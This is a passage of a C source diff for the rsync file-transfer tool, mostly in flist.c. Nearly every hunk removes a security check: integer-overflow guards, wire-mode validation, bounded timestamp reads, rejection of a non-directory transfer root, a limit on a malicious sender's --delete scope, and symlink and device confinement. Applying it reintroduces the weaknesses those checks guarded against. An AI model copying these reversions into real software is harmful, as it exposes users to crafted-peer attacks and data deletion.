scanning\n-\t\t\t * for holes and coalescing the non-zero data into large\n-\t\t\t * write()s instead of SPARSE_WRITE_SIZE-byte dribbles. */\n-\t\t\tr1 = write_sparse(f, use_seek, offset, buf, len);\n+\t\t\tint len1 = MIN(len, SPARSE_WRITE_SIZE);\n+\t\t\tr1 = write_sparse(f, use_seek, offset, buf, len1);\n \t\t\toffset += r1;\n \t\t} else {\n \t\t\tif (!wf_writeBuf) {\ndiff --git a/flist.c b/flist.c\nindex 282fe81..1783253 100644\n--- a/flist.c\n+++ b/flist.c\n@@ -29,11 +29,6 @@\n extern int am_root;\n extern int am_server;\n extern int am_daemon;\n-extern int am_chrooted;\n-extern char *module_dir;\n-extern unsigned int module_dirlen;\n-extern int module_dirfd;\n-extern unsigned int curr_dir_len;\n extern int am_sender;\n extern int am_generator;\n extern int inc_recurse;\n@@ -46,7 +41,6 @@ extern int recurse;\n extern int use_qsort;\n extern int xfer_dirs;\n extern int filesfrom_fd;\n-extern char *files_from;\n extern int one_file_system;\n extern int copy_devices;\n extern int copy_dirlinks;\n@@ -70,8 +64,6 @@ extern int non_perishable_cnt;\n extern int prune_empty_dirs;\n extern int copy_links;\n extern int copy_unsafe_links;\n-extern int insecure_links;\n-extern int filesfrom_owner_walk_override;\n extern int protocol_version;\n extern int sanitize_paths;\n extern int munge_symlinks;\n@@ -140,18 +132,6 @@ static int64 tmp_dev = -1, tmp_ino;\n #endif\n static char tmp_sum[MAX_DIGEST_LEN];\n \n-#ifdef ST_MTIME_NSEC\n-/* Return st_mtim nsec if it is in the wire-valid range, else 0. */\n-static inline uint32 wire_mtime_nsec_from_stat(const STRUCT_STAT *stp)\n-{\n-\tunsigned long nsec = (unsigned long)stp->ST_MTIME_NSEC;\n-\n-\tif (nsec > MAX_WIRE_NSEC)\n-\t\treturn 0;\n-\treturn (uint32)nsec;\n-}\n-#endif\n-\n static char empty_sum[MAX_DIGEST_LEN];\n static int flist_count_offset; /* for --delete --progress */\n static int show_filelist_progress;\n@@ -187,8 +167,7 @@ static void emit_filelist_progress(int count)\n \t\treturn;\n \tif (output_needs_newline == 2) /* avoid a newline in the middle of this filelist-progress output */\n \t\toutput_needs_newline = 0;\n-\trprintf(FCLIENT, \" %s files...\", comma_num(count));\n-\trput_progress();\n+\trprintf(FCLIENT, \" %d files...\\r\", count);\n \toutput_needs_newline = 2;\n }\n \n@@ -203,8 +182,8 @@ static void finish_filelist_progress(const struct file_list *flist)\n \toutput_needs_newline = 0;\n \tif (INFO_GTE(FLIST, 2)) {\n \t\t/* This overwrites the progress line */\n-\t\trprintf(FINFO, \"%s file%sto consider\\n\",\n-\t\t\tcomma_num(flist->used), flist->used == 1 ? \" \" : \"s \");\n+\t\trprintf(FINFO, \"%d file%sto consider\\n\",\n+\t\t\tflist->used, flist->used == 1 ? \" \" : \"s \");\n \t} else {\n \t\trprintf(FINFO, \"done\\n\");\n \t}\n@@ -223,272 +202,13 @@ void show_flist_stats(void)\n  *\n  * The stat structure pointed to by stp will contain information about the\n  * link or the referent as appropriate, if they exist. */\n-/* Set by send_directory() to the fd of the directory it is currently scanning\n- * (and that dir's path prefix), so the per-entry stat can go through the\n- * already-open dir fd instead of re-resolving the full path for every entry.\n- * Pure performance and sender-side only -- the scanned dir is already open, so\n- * fstatat(scan_dirfd, basename) is identical to lstat(scandir/basename); no\n- * confinement is implied or needed. */\n-static int scan_dirfd = -1;\n-static const char *scan_dir_prefix;\n-static int scan_dir_prefix_len;\n-\n-struct sender_source_root {\n-\tstruct sender_source_root *next;\n-\tdev_t dev;\n-\tino_t ino;\n-\tchar path[1];\n-};\n-\n-static struct sender_source_root *sender_source_roots;\n-static struct sender_source_root *sender_source_root_fd_owner;\n-static int sender_source_root_fd = -1;\n-\n-static int sender_source_full_path(const char *path, char *full, size_t full_size)\n-{\n-\tsize_t len;\n-\n-\tif (*path == '/')\n-\t\tlen = strlcpy(full, path, full_size);\n-\telse\n-\t\tlen = pathjoin(full, full_size, curr_dir, path);\n-\tif (len >= full_size) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tclean_fname(full, CFN_COLLAPSE_DOT_DOT_DIRS | CFN_DROP_TRAILING_DOT_DIR);\n-\treturn 0;\n-}\n-\n-static void remember_sender_source_root(const char *path, const STRUCT_STAT *st)\n-{\n-\tstruct sender_source_root *root;\n-\tchar full[MAXPATHLEN];\n-\tsize_t len;\n-\n-\tif (sender_source_full_path(path, full, sizeof full) < 0)\n-\t\toverflow_exit(\"remember_sender_source_root\");\n-\tlen = strlen(full);\n-\n-\tfor (root = sender_source_roots; root; root = root->next) {\n-\t\tif (strcmp(root->path, full) == 0)\n-\t\t\treturn;\n-\t}\n-\troot = (struct sender_source_root *)new_array(char, sizeof *root + len);\n-\troot->next = sender_source_roots;\n-\troot->dev = st->st_dev;\n-\troot->ino = st->st_ino;\n-\tmemcpy(root->path, full, len + 1);\n-\tsender_source_roots = root;\n-}\n-\n-static void remember_sender_source_arg(const char *path, const STRUCT_STAT *st)\n-{\n-\tSTRUCT_STAT parent_st;\n-\tchar full[MAXPATHLEN], *slash;\n-\n-\tif (S_ISDIR(st->st_mode)) {\n-\t\tremember_sender_source_root(path, st);\n-\t\treturn;\n-\t}\n-\tif (sender_source_full_path(path, full, sizeof full) < 0)\n-\t\toverflow_exit(\"remember_sender_source_arg\");\n-\tslash = strrchr(full, '/');\n-\tif (!slash)\n-\t\treturn;\n-\tif (slash == full)\n-\t\tslash[1] = '\\0';\n-\telse\n-\t\t*slash = '\\0';\n-\t/* The operator selected this parent as part of the source argument. Pin\n-\t * its resolved identity while the file leaf remains O_NOFOLLOW later. */\n-\tif (do_stat(full, &parent_st) == 0 && S_ISDIR(parent_st.st_mode))\n-\t\tremember_sender_source_root(full, &parent_st);\n-}\n-\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-/* Keep one validated source root open at a time.  A descriptor per explicit\n- * argument would make a large argument list exhaust the process limit. */\n-static int sender_source_root_fd_for(struct sender_source_root *root)\n-{\n-\tSTRUCT_STAT st;\n-\tint fd, fl, saved_errno;\n-\n-\tif (sender_source_root_fd_owner == root && sender_source_root_fd >= 0)\n-\t\treturn sender_source_root_fd;\n-\tif (sender_source_root_fd >= 0)\n-\t\tclose(sender_source_root_fd);\n-\tsender_source_root_fd = -1;\n-\tsender_source_root_fd_owner = NULL;\n-\n-\tfd = open_anchor_dirfd(root->path);\n-\tif (fd < 0)\n-\t\treturn -1;\n-\tif (do_fstat(fd, &st) < 0)\n-\t\tsaved_errno = errno;\n-\telse if (st.st_dev != root->dev || st.st_ino != root->ino)\n-\t\tsaved_errno = ELOOP;\n-\telse\n-\t\tsaved_errno = 0;\n-\tif (saved_errno) {\n-\t\tclose(fd);\n-\t\terrno = saved_errno;\n-\t\treturn -1;\n-\t}\n-\tif ((fl = fcntl(fd, F_GETFD)) >= 0)\n-\t\tfcntl(fd, F_SETFD, fl | FD_CLOEXEC);\n-\tsender_source_root_fd_owner = root;\n-\tsender_source_root_fd = fd;\n-\treturn fd;\n-}\n-#endif\n-\n-int open_sender_source_path(const char *path, int flags, int *matched)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tstruct sender_source_root *root, *best = NULL;\n-\tchar full[MAXPATHLEN], *rel;\n-\tsize_t best_len = 0;\n-\tint rootfd, fd, saved_errno;\n-\n-\t*matched = 0;\n-\tif (!sender_source_roots)\n-\t\treturn -1;\n-\tif (sender_source_full_path(path, full, sizeof full) < 0)\n-\t\treturn -1;\n-\tfor (root = sender_source_roots; root; root = root->next) {\n-\t\tsize_t len = strlen(root->path);\n-\t\tif (len > best_len && strncmp(full, root->path, len) == 0\n-\t\t && (root->path[len-1] == '/' || full[len] == '\\0' || full[len] == '/')) {\n-\t\t\tbest = root;\n-\t\t\tbest_len = len;\n-\t\t}\n-\t}\n-\tif (!best)\n-\t\treturn -1;\n-\n-\t*matched = 1;\n-\trootfd = sender_source_root_fd_for(best);\n-\tif (rootfd < 0)\n-\t\treturn -1;\n-\trel = full + best_len;\n-\twhile (*rel == '/')\n-\t\trel++;\n-\tfd = secure_relative_open_at(rootfd, *rel ? rel : \".\", flags, 0);\n-\tsaved_errno = errno;\n-\terrno = saved_errno;\n-\treturn fd;\n-#else\n-\t(void)path;\n-\t(void)flags;\n-\t*matched = 0;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-void clear_sender_source_roots(void)\n-{\n-\tif (sender_source_root_fd >= 0)\n-\t\tclose(sender_source_root_fd);\n-\tsender_source_root_fd = -1;\n-\tsender_source_root_fd_owner = NULL;\n-\twhile (sender_source_roots) {\n-\t\tstruct sender_source_root *root = sender_source_roots;\n-\t\tsender_source_roots = root->next;\n-\t\tfree(root);\n-\t}\n-}\n-\n-static int filesfrom_link_stat(const char *path, STRUCT_STAT *stp, int follow_dirlinks)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tconst char *bname;\n-\tint dfd, ret, save_errno;\n-\n-\tdfd = owner_walk_parent(path, &bname);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\tif (am_root < 0) {\n-\t\tclose(dfd);\n-\t\treturn link_stat(path, stp, follow_dirlinks);\n-\t}\n-\tret = do_lstat_atfd(dfd, bname, stp);\n-\t/* A list-selected directory symlink is a path component too. Resolve it\n-\t * through the ownership and confinement walk before following it. */\n-\tif (ret == 0 && S_ISLNK(stp->st_mode)\n-\t && (follow_dirlinks || copy_links)) {\n-\t\tint targetfd = open_no_attacker_symlinks_dirfd(path);\n-\t\tif (targetfd >= 0) {\n-\t\t\tret = do_fstat(targetfd, stp);\n-\t\t\tclose(targetfd);\n-\t\t} else if (errno != ENOENT && errno != ENOTDIR && errno != EACCES) {\n-\t\t\tret = -1;\n-\t\t}\n-\t}\n-\tsave_errno = ret < 0 ? errno : 0;\n-\tclose(dfd);\n-\terrno = save_errno;\n-\treturn ret;\n-#else\n-\treturn link_stat(path, stp, follow_dirlinks);\n-#endif\n-}\n-\n-static int filesfrom_readlink(const char *path, char *linkbuf, size_t bufsiz)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tconst char *bname;\n-\tint dfd, ret, save_errno;\n-\n-\tdfd = owner_walk_parent(path, &bname);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\tret = do_readlink_atfd(dfd, bname, linkbuf, bufsiz);\n-\tsave_errno = ret < 0 ? errno : 0;\n-\tclose(dfd);\n-\terrno = save_errno;\n-\treturn ret;\n-#else\n-\treturn do_readlink(path, linkbuf, bufsiz);\n-#endif\n-}\n-\n-static int scan_link_stat(const char *path, STRUCT_STAT *stp, int follow_dirlinks)\n-{\n-\t/* Use the held scan fd only for a single component directly inside the\n-\t * scanned dir, and only when am_root >= 0 (link_stat_at folds in no\n-\t * fake-super %stat xattr; link_stat does so via get_stat_xattr, a no-op\n-\t * once am_root >= 0). */\n-\tif (scan_dirfd >= 0 && am_root >= 0 && !filesfrom_owner_walk_active()\n-\t && strncmp(path, scan_dir_prefix, scan_dir_prefix_len) == 0\n-\t && path[scan_dir_prefix_len] == '/'\n-\t && strchr(path + scan_dir_prefix_len + 1, '/') == NULL)\n-\t\treturn link_stat_at(scan_dirfd, path + scan_dir_prefix_len + 1, stp, follow_dirlinks);\n-\tif (filesfrom_owner_walk_active())\n-\t\treturn filesfrom_link_stat(path, stp, follow_dirlinks);\n-\treturn link_stat(path, stp, follow_dirlinks);\n-}\n-\n-static int scan_readlink(const char *path, char *linkbuf, size_t bufsiz)\n-{\n-\tif (scan_dirfd >= 0 && am_root >= 0 && !filesfrom_owner_walk_active()\n-\t && strncmp(path, scan_dir_prefix, scan_dir_prefix_len) == 0\n-\t && path[scan_dir_prefix_len] == '/'\n-\t && strchr(path + scan_dir_prefix_len + 1, '/') == NULL)\n-\t\treturn do_readlink_atfd(scan_dirfd, path + scan_dir_prefix_len + 1, linkbuf, bufsiz);\n-\tif (filesfrom_owner_walk_active())\n-\t\treturn filesfrom_readlink(path, linkbuf, bufsiz);\n-\treturn do_readlink(path, linkbuf, bufsiz);\n-}\n-\n static int readlink_stat(const char *path, STRUCT_STAT *stp, char *linkbuf)\n {\n #ifdef SUPPORT_LINKS\n-\tif (scan_link_stat(path, stp, copy_dirlinks) < 0)\n+\tif (link_stat(path, stp, copy_dirlinks) < 0)\n \t\treturn -1;\n \tif (S_ISLNK(stp->st_mode)) {\n-\t\tint llen = scan_readlink(path, linkbuf, MAXPATHLEN - 1);\n+\t\tint llen = do_readlink(path, linkbuf, MAXPATHLEN - 1);\n \t\tif (llen < 0)\n \t\t\treturn -1;\n \t\tlinkbuf[llen] = '\\0';\n@@ -529,30 +249,6 @@ int link_stat(const char *path, STRUCT_STAT *stp, int follow_dirlinks)\n #endif\n }\n \n-/* Held-dirfd variant of link_stat(): stat single-component `name` relative to\n- * directory fd `dfd`, instead of re-resolving a full path.  Equivalent to\n- * link_stat() only when NOT in --fake-super mode -- x_stat/x_lstat fold the\n- * fake-super %stat xattr into the result via get_stat_xattr(), which is a\n- * path-based no-op once am_root >= 0.  Callers therefore use this only when\n- * am_root >= 0 (and a valid dfd), falling back to link_stat() otherwise. */\n-int link_stat_at(int dfd, const char *name, STRUCT_STAT *stp, int follow_dirlinks)\n-{\n-#ifdef SUPPORT_LINKS\n-\tif (copy_links)\n-\t\treturn do_stat_atfd(dfd, name, stp);\n-\tif (do_lstat_atfd(dfd, name, stp) < 0)\n-\t\treturn -1;\n-\tif (follow_dirlinks && S_ISLNK(stp->st_mode)) {\n-\t\tSTRUCT_STAT st;\n-\t\tif (do_stat_atfd(dfd, name, &st) == 0 && S_ISDIR(st.st_mode))\n-\t\t\t*stp = st;\n-\t}\n-\treturn 0;\n-#else\n-\treturn do_stat_atfd(dfd, name, stp);\n-#endif\n-}\n-\n static inline int path_is_daemon_excluded(char *path, int ignore_filename)\n {\n \tif (daemon_filter_list.head) {\n@@ -587,8 +283,7 @@ static inline int is_excluded(const char *fname, int is_dir, int filter_level)\n static void send_directory(int f, struct file_list *flist,\n \t\t\t   char *fbuf, int len, int flags);\n \n-static const char *pathname;\n-const char *orig_dir;\n+static const char *pathname, *orig_dir;\n static int pathname_len;\n \n /* Make sure flist can hold at least flist->used + extra entries. */\n@@ -596,31 +291,17 @@ static void flist_expand(struct file_list *flist, int extra)\n {\n \tstruct file_struct **new_ptr;\n \n-\t/* Refuse BEFORE any int arithmetic below can overflow: used+extra (computed\n-\t * in the early-return and the cap below) and the malloced growth math.  Only\n-\t * reachable past INT_MAX entries (my_alloc's --max-alloc cap normally stops\n-\t * the list growing anywhere near there). */\n-\tif (extra < 0 || flist->used < 0 || flist->used > INT_MAX - extra)\n-\t\tgoto too_large;\n-\n \tif (flist->used + extra <= flist->malloced)\n \t\treturn;\n \n \tif (flist->malloced < FLIST_START)\n \t\tflist->malloced = FLIST_START;\n-\telse if (flist->malloced >= FLIST_LINEAR) {\n-\t\tif (flist->malloced > INT_MAX - FLIST_LINEAR)\n-\t\t\tgoto too_large;\n+\telse if (flist->malloced >= FLIST_LINEAR)\n \t\tflist->malloced += FLIST_LINEAR;\n-\t} else if (flist->malloced < FLIST_START_LARGE/16) {\n-\t\tif (flist->malloced > INT_MAX/4)\n-\t\t\tgoto too_large;\n+\telse if (flist->malloced < FLIST_START_LARGE/16)\n \t\tflist->malloced *= 4;\n-\t} else {\n-\t\tif (flist->malloced > INT_MAX/2)\n-\t\t\tgoto too_large;\n+\telse\n \t\tflist->malloced *= 2;\n-\t}\n \n \t/* In case count jumped or we are starting the list\n \t * with a known size just set it. */\n@@ -637,11 +318,6 @@ static void flist_expand(struct file_list *flist, int extra)\n \t}\n \n \tflist->files = new_ptr;\n-\treturn;\n-\n-  too_large:\n-\trprintf(FERROR, \"[%s] file list has grown too large to expand\\n\", who_am_i());\n-\texit_cleanup(RERR_MALLOC);\n }\n \n static void flist_done_allocating(struct file_list *flist)\n@@ -1088,7 +764,7 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \n \tif ((basename = strrchr(thisname, '/')) != NULL) {\n \t\tint len = basename++ - thisname;\n-\t\tif (len != lastdir_len || !lastdir || memcmp(thisname, lastdir, len) != 0) {\n+\t\tif (len != lastdir_len || memcmp(thisname, lastdir, len) != 0) {\n \t\t\tlastdir = new_array(char, len + 1);\n \t\t\tmemcpy(lastdir, thisname, len);\n \t\t\tlastdir[len] = '\\0';\n@@ -1137,17 +813,9 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \t\t\t\trdev_major = DEV_MAJOR(devp);\n \t\t\t\trdev = MAKEDEV(rdev_major, DEV_MINOR(devp));\n \t\t\t\textra_len += DEV_EXTRA_CNT * EXTRA_LEN;\n-\t\t\t} else if (IS_DEVICE(mode)) {\n-\t\t\t\t/* Abbrev-branch counterpart to the !preserve_devices\n-\t\t\t\t * stub-alloc below: zeroed F_RDEV_P slots. */\n-\t\t\t\textra_len += DEV_EXTRA_CNT * EXTRA_LEN;\n \t\t\t}\n \t\t\tif (preserve_links && S_ISLNK(mode))\n \t\t\t\tlinkname_len = strlen(F_SYMLINK(first)) + 1;\n-\t\t\telse if (S_ISLNK(mode))\n-\t\t\t\t/* Abbrev-branch counterpart to the !preserve_links\n-\t\t\t\t * stub-alloc below: empty linkname. */\n-\t\t\t\tlinkname_len = 1;\n \t\t\telse\n \t\t\t\tlinkname_len = 0;\n \t\t\treal_ISREG_entry = S_ISREG(mode) ? 1 : 0;\n@@ -1172,9 +840,9 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \t}\n \tif (xflags & XMIT_MOD_NSEC)\n #ifndef CAN_SET_NSEC\n-\t\t(void)read_varint_bounded(f, 0, MAX_WIRE_NSEC, \"modtime_nsec\");\n+\t\t(void)read_varint(f);\n #else\n-\t\tmodtime_nsec = read_varint_bounded(f, 0, MAX_WIRE_NSEC, \"modtime_nsec\");\n+\t\tmodtime_nsec = read_varint(f);\n \telse\n \t\tmodtime_nsec = 0;\n #endif\n@@ -1193,24 +861,8 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n #endif\n \t}\n #endif\n-\tif (!(xflags & XMIT_SAME_MODE)) {\n+\tif (!(xflags & XMIT_SAME_MODE))\n \t\tmode = from_wire_mode(read_int(f));\n-\t\t/* Reject modes whose type bits are not one of the standard\n-\t\t * file types; otherwise garbage mode values propagate through\n-\t\t * the file-type checks below unpredictably.  mode 0 is the one\n-\t\t * legitimate exception: --delete-missing-args (missing_args==2)\n-\t\t * sends a missing arg as a mode-0 entry (IS_MISSING_FILE), the\n-\t\t * generator's delete signal (#910). */\n-\t\tif (mode != 0 || missing_args != 2) {\n-\t\t    if (!S_ISREG(mode) && !S_ISDIR(mode) && !S_ISLNK(mode)\n-\t\t     && !S_ISCHR(mode) && !S_ISBLK(mode)\n-\t\t     && !S_ISFIFO(mode) && !S_ISSOCK(mode)) {\n-\t\t\trprintf(FERROR, \"invalid file mode 0%o for %s [%s]\\n\",\n-\t\t\t\t(unsigned)mode, lastname, who_am_i());\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t    }\n-\t\t}\n-\t}\n \tif (atimes_ndx && !S_ISDIR(mode) && !(xflags & XMIT_SAME_ATIME)) {\n \t\tatime = read_varlong(f, 4);\n #if SIZEOF_TIME_T < SIZEOF_INT64\n@@ -1269,15 +921,6 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \t\tif (IS_DEVICE(mode))\n \t\t\textra_len += DEV_EXTRA_CNT * EXTRA_LEN;\n \t\tfile_length = 0;\n-\t} else if (IS_DEVICE(mode)) {\n-\t\t/* Peer/batch sent an S_IFCHR/S_IFBLK entry but we are not\n-\t\t * preserving devices.  A cooperating sender wouldn't do this;\n-\t\t * a crafted batch can.  Allocate (and zero, via the memset\n-\t\t * below) the DEV_EXTRA_CNT slots so F_RDEV_P() callers\n-\t\t * (set_stat_xattr under --fake-super, generator IS_DEVICE\n-\t\t * paths) read {0,0} instead of the previous pool slot. */\n-\t\textra_len += DEV_EXTRA_CNT * EXTRA_LEN;\n-\t\tfile_length = 0;\n \t} else if (protocol_version < 28)\n \t\trdev = MAKEDEV(0, 0);\n \n@@ -1298,14 +941,6 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n #endif\n \t\tif (munge_symlinks)\n \t\t\tlinkname_len += SYMLINK_PREFIX_LEN;\n-\t} else if (S_ISLNK(mode)) {\n-\t\t/* Peer/batch sent an S_IFLNK entry but we are not preserving\n-\t\t * links (no -l, and the batch stream-flags didn't set it).  A\n-\t\t * cooperating sender wouldn't do this; a crafted batch can.\n-\t\t * Allocate one byte for an empty linkname so F_SYMLINK()\n-\t\t * callers (log.c %L, generator.c) read a valid \"\" instead of\n-\t\t * the next pool slot's redzone. */\n-\t\tlinkname_len = 1;\n \t}\n \telse\n #endif\n@@ -1353,15 +988,6 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \t\texit_cleanup(RERR_UNSUPPORTED);\n \t}\n \n-\t/* \".\" is the synthetic transfer root.  Reinterpreting it as a file lets\n-\t * --force recursively remove the real destination directory before the\n-\t * receiver creates that file. */\n-\tif ((!strcmp(thisname, \".\") || !strcmp(thisname, \"/.\")) && !S_ISDIR(mode)) {\n-\t\trprintf(FERROR, \"ERROR: rejecting non-directory transfer-root entry: %s\\n\",\n-\t\t\tthisname);\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-\n \tif (*thisname == '/' ? thisname[1] != '.' || thisname[2] != '\\0' : *thisname != '.' || thisname[1] != '\\0') {\n \t\tint filt_flags = S_ISDIR(mode) ? NAME_IS_DIR : NAME_IS_FILE;\n \t\tif (!trust_sender_filter /* a per-dir filter rule means we must trust the sender's filtering */\n@@ -1401,8 +1027,7 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \tmemcpy(bp, basename, basename_len);\n \n #ifdef SUPPORT_HARD_LINKS\n-\tif (preserve_hard_links && xflags & XMIT_HLINKED\n-\t && !S_ISDIR(mode)\n+\tif (xflags & XMIT_HLINKED\n #ifndef CAN_HARDLINK_SYMLINK\n \t && !S_ISLNK(mode)\n #endif\n@@ -1457,26 +1082,6 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \t\tif (basename_len == 1+1 && *basename == '.') /* +1 for '\\0' */\n \t\t\tF_DEPTH(file)--;\n \t\tif (protocol_version >= 30) {\n-\t\t\t/* Stop a malicious sender expanding --delete scope by flagging\n-\t\t\t * an implied parent as a content dir: if we only allowed this\n-\t\t\t * entry as a parent of the requested leaf, force the flags back\n-\t\t\t * to the honest implied-parent encoding (XMIT_TOP_DIR |\n-\t\t\t * XMIT_NO_CONTENT_DIR) so it lands in FLAG_IMPLIED_DIR, not\n-\t\t\t * FLAG_CONTENT_DIR, and delete_in_dir() can't sweep siblings.\n-\t\t\t * Not gated on trust_sender_filter: implied_filter_list is\n-\t\t\t * receiver-owned state, so a per-dir filter must not be able to\n-\t\t\t * downgrade this defense. */\n-\t\t\tif (implied_filter_list.head\n-\t\t\t && is_implied_parent_dir(thisname)\n-\t\t\t && (!(xflags & XMIT_NO_CONTENT_DIR) || !(xflags & XMIT_TOP_DIR))) {\n-\t\t\t\tif (DEBUG_GTE(FILTER, 1)) {\n-\t\t\t\t\trprintf(FINFO,\n-\t\t\t\t\t\t\"[%s] receiver downgraded implied-parent dir %s \"\n-\t\t\t\t\t\t\"to non-content (sender xflags=0x%x)\\n\",\n-\t\t\t\t\t\twho_am_i(), thisname, xflags);\n-\t\t\t\t}\n-\t\t\t\txflags |= XMIT_NO_CONTENT_DIR | XMIT_TOP_DIR;\n-\t\t\t}\n \t\t\tif (!(xflags & XMIT_NO_CONTENT_DIR)) {\n \t\t\t\tif (xflags & XMIT_TOP_DIR)\n \t\t\t\t\tfile->flags |= FLAG_TOP_DIR;\n@@ -1484,17 +1089,13 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n \t\t\t} else if (xflags & XMIT_TOP_DIR)\n \t\t\t\tfile->flags |= FLAG_IMPLIED_DIR;\n \t\t} else if (xflags & XMIT_TOP_DIR) {\n-\t\t\tif (implied_filter_list.head && is_implied_parent_dir(thisname))\n-\t\t\t\tfile->flags |= FLAG_IMPLIED_DIR;\n-\t\t\telse {\n-\t\t\t\tin_del_hier = recurse;\n-\t\t\t\tdel_hier_name_len = F_DEPTH(file) == 0 ? 0 : l1 + l2;\n-\t\t\t\tif (relative_paths && del_hier_name_len > 2\n-\t\t\t\t    && lastname[del_hier_name_len-1] == '.'\n-\t\t\t\t    && lastname[del_hier_name_len-2] == '/')\n-\t\t\t\t\tdel_hier_name_len -= 2;\n-\t\t\t\tfile->flags |= FLAG_TOP_DIR | FLAG_CONTENT_DIR;\n-\t\t\t}\n+\t\t\tin_del_hier = recurse;\n+\t\t\tdel_hier_name_len = F_DEPTH(file) == 0 ? 0 : l1 + l2;\n+\t\t\tif (relative_paths && del_hier_name_len > 2\n+\t\t\t    && lastname[del_hier_name_len-1] == '.'\n+\t\t\t    && lastname[del_hier_name_len-2] == '/')\n+\t\t\t\tdel_hier_name_len -= 2;\n+\t\t\tfile->flags |= FLAG_TOP_DIR | FLAG_CONTENT_DIR;\n \t\t} else if (in_del_hier) {\n \t\t\tif (!relative_paths || !del_hier_name_len\n \t\t\t || (l1 >= del_hier_name_len\n@@ -1514,11 +1115,7 @@ static struct file_struct *recv_file_entry(int f, struct file_list *flist, int x\n #ifdef SUPPORT_LINKS\n \tif (linkname_len) {\n \t\tbp += basename_len;\n-\t\tif (!preserve_links) {\n-\t\t\t/* The empty-linkname case allocated above; nothing on\n-\t\t\t * the wire to read.  Just terminate it. */\n-\t\t\t*bp = '\\0';\n-\t\t} else if (first_hlink_ndx >= flist->ndx_start) {\n+\t\tif (first_hlink_ndx >= flist->ndx_start) {\n \t\t\tstruct file_struct *first = flist->files[first_hlink_ndx - flist->ndx_start];\n \t\t\tmemcpy(bp, F_SYMLINK(first), linkname_len);\n \t\t} else {\n@@ -1642,7 +1239,7 @@ struct file_struct *make_file(const char *fname, struct file_list *flist,\n \tint extra_len = file_extra_cnt * EXTRA_LEN;\n \tconst char *basename;\n \talloc_pool_t *pool;\n-\tSTRUCT_STAT st = {0};\n+\tSTRUCT_STAT st;\n \tchar *bp;\n \n \tif (strlcpy(thisname, fname, sizeof thisname) >= sizeof thisname) {\n@@ -1775,7 +1372,7 @@ struct file_struct *make_file(const char *fname, struct file_list *flist,\n \n \tif ((basename = strrchr(thisname, '/')) != NULL) {\n \t\tint len = basename++ - thisname;\n-\t\tif (len != lastdir_len || !lastdir || memcmp(thisname, lastdir, len) != 0) {\n+\t\tif (len != lastdir_len || memcmp(thisname, lastdir, len) != 0) {\n \t\t\tlastdir = new_array(char, len + 1);\n \t\t\tmemcpy(lastdir, thisname, len);\n \t\t\tlastdir[len] = '\\0';\n@@ -1804,12 +1401,8 @@ struct file_struct *make_file(const char *fname, struct file_list *flist,\n \t}\n \n #ifdef ST_MTIME_NSEC\n-\t{\n-\t\tuint32 nsec = wire_mtime_nsec_from_stat(&st);\n-\n-\t\tif (nsec && protocol_version >= 31)\n-\t\t\textra_len += EXTRA_LEN;\n-\t}\n+\tif (st.ST_MTIME_NSEC && protocol_version >= 31)\n+\t\textra_len += EXTRA_LEN;\n #endif\n #if SIZEOF_CAPITAL_OFF_T >= 8\n \tif (st.st_size > 0xFFFFFFFFu && S_ISREG(st.st_mode))\n@@ -1822,18 +1415,6 @@ struct file_struct *make_file(const char *fname, struct file_list *flist,\n \t\t\textra_len += SUM_EXTRA_CNT * EXTRA_LEN;\n \t}\n \n-#ifdef HAVE_STRUCT_STAT_ST_RDEV\n-\t/* The sender path historically passes rdev via the tmp_rdev static\n-\t * (read by send_file_entry()), so make_file() never reserved\n-\t * DEV_EXTRA_CNT in the file_struct itself.  But receiver-side callers\n-\t * (recv_generator's --inplace --backup back_file, backup.c make_backup)\n-\t * hand this struct to set_file_attrs() -> set_stat_xattr(), which reads\n-\t * F_RDEV_P(file) under --fake-super.  Reserve and populate the slots\n-\t * so the struct is self-contained, matching recv_file_entry(). */\n-\tif (IS_DEVICE(st.st_mode))\n-\t\textra_len += DEV_EXTRA_CNT * EXTRA_LEN;\n-#endif\n-\n #if EXTRA_ROUNDING > 0\n \tif (extra_len & (EXTRA_ROUNDING * EXTRA_LEN))\n \t\textra_len = (extra_len | (EXTRA_ROUNDING * EXTRA_LEN)) + EXTRA_LEN;\n@@ -1867,10 +1448,7 @@ struct file_struct *make_file(const char *fname, struct file_list *flist,\n \n #ifdef HAVE_STRUCT_STAT_ST_RDEV\n \tif (IS_DEVICE(st.st_mode)) {\n-\t\tuint32 *devp = F_RDEV_P(file);\n \t\ttmp_rdev = st.st_rdev;\n-\t\tDEV_MAJOR(devp) = major(st.st_rdev);\n-\t\tDEV_MINOR(devp) = minor(st.st_rdev);\n \t\tst.st_size = 0;\n \t} else if (IS_SPECIAL(st.st_mode))\n \t\tst.st_size = 0;\n@@ -1879,13 +1457,9 @@ struct file_struct *make_file(const char *fname, struct file_list *flist,\n \tfile->flags = flags;\n \tfile->modtime = st.st_mtime;\n #ifdef ST_MTIME_NSEC\n-\t{\n-\t\tuint32 nsec = wire_mtime_nsec_from_stat(&st);\n-\n-\t\tif (nsec && protocol_version >= 31) {\n-\t\t\tfile->flags |= FLAG_MOD_NSEC;\n-\t\t\tF_MOD_NSEC(file) = nsec;\n-\t\t}\n+\tif (st.ST_MTIME_NSEC && protocol_version >= 31) {\n+\t\tfile->flags |= 